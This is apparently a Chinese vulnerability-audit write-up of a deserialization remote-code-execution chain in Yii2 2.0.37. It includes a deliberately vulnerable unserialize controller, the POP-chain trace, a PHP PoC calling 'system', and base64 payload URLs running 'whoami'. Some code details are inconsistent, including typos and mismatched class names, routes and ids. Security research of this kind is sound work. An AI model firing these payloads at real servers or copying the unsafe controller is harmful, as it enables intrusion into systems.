源码地址
https://github.com/yiisoft/yii2/releases/tag/2.0.37
一、审计工具
phpstrom2020.1.3
二、审计步骤
1.由于刚刚搭建完成,yii本身并没有可以利用来反序列化的Action,所以添加controllers/TestController.php,代码如下
<?php
namespace app\controllers;
use Yii;
use yii\web\Controleer;
class TestController extends Controller
{
public function actionTtt(){
$name = Yii:$app->request->get('data');
return unserialize(base64_decode($name));
}
}
2.根据师傅们爆出的漏洞入口点定位在:vendor/yiisoft/yii2/db/BatchQueryResult.php的reset方法内,当对象被销毁时,会调用reset()方法,当传入参数的值不为空的时候,会触发close()函数,但是调用的$this->close(),本类中并不存在此方法函数,由于参数在我们编写利用Action时是可控的,所以可以利用该处触发PHP魔术函数_call()进行利用。
3.接下来利用phpstrom全文查找利用到_call的地方,在/vendor/fzaninotto/faker/src/Faker/Generator.php处可以利用,跟进方法format(),当传入一个方法名,传入一个数组,会利用call_user_func_array(),熟悉PHP的小伙伴们都知道,这个函数非常危险,可以利用执行系统命令,各种函数命令等。
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
4.在返回call_user_func_array()函数中的第一个参数为getFormatter返回的值,跟进getFormatter()方法,它会判断formatters[$formatter]属性是否设置,然后返回该属性,说明该属性是可以让我们反序列化利用是控制的。
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
5.根据现在已有的条件寻找程序中能利用到的点,且要满足以下条件:
1.方法的参数必须是自己类中存在的。
2.方法需要具有命令执行的功能。
6.全文查找处2处合适的地方。
vendor/yiisoft/yii2/rest/CreateAction.php
vendor/yiisoft/yii2/rest/IndexAction.php
7.至此POP链形成:
POP:yii\db\BatchQueryResult::__destruct()->reset()->close()->Faker\Generator::__call()->format()->call_user_func_array()->yii\rest\IndexAction::run->call_user_func()
三、漏洞复现
1.漏洞POC
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
//进行序列化和base64编码
echo base64_encode(serialize(new yii\db\BatchQueryResult));
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6Indob2FtaSI7fWk6MTtzOjM6InJ1biI7fX19fQ==
}
?>
2.访问payload:http://ip/index.php?r=test/test&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19
|